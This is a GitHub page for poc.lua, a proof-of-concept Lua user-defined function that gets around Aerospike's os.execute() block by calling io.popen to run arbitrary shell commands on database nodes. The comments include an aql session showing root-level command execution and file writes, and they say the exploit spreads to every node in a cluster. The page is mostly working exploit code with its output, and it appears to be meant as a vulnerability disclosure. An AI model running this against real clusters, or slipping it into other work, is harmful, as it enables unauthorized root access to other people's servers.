-
Notifications
You must be signed in to change notification settings - Fork 5
/
poc.lua
70 lines (58 loc) · 1.65 KB
/
poc.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
---------------------------------------------
---- POC for executing code on aerospike nodes.
---- Can be run interactively (below), or with python-based POC.
---- Works for users with the read-write-udf privilege,
---- or just if you come across a cluster with security
---- disabled :)
----
---- Aerospike blocks os.execute() in lua udfs, but does
---- not block io.popen.
----
---- For the POC, we create a single row set to work with.
---- Registering the module will copy to all nodes in the
---- cluster. Running the POC on sufficiently large
---- dataset would eventually execute commands on each node.
---------------------------------------------
-- aql> insert into test.k9uf2mx90p (PK, x) values ('1', "A");
-- OK, 1 record affected.
-- aql> register module '/share/poc.lua'
-- OK, 1 module added.
-- aql> execute poc.runCMD("whoami") on test.k9uf2mx90p where PK='1'
-- +---------+
-- | runCMD |
-- +---------+
-- | "root
-- " |
-- +---------+
-- 1 row in set (0.001 secs)
-- OK
-- aql>
-- aql>
-- aql> execute poc.runCMD("echo codexecution > /tmp/afile") on test.k9uf2mx90p where PK='1'
-- +--------+
-- | runCMD |
-- +--------+
-- | "" |
-- +--------+
-- 1 row in set (0.002 secs)
-- OK
-- aql> execute poc.runCMD("cat /tmp/afile") on test.k9uf2mx90p where PK='1'
-- +-----------------+
-- | runCMD |
-- +-----------------+
-- | "codexecution
-- " |
-- +-----------------+
-- 1 row in set (0.000 secs)
-- OK
---------------------------------------------
function runCMD(rec, cmd)
local outtext = ""
local phandle = io.popen(cmd)
io.input(phandle)
local foo = io.lines()
for f in foo do
outtext = outtext .. f .. "\n"
end
return outtext
end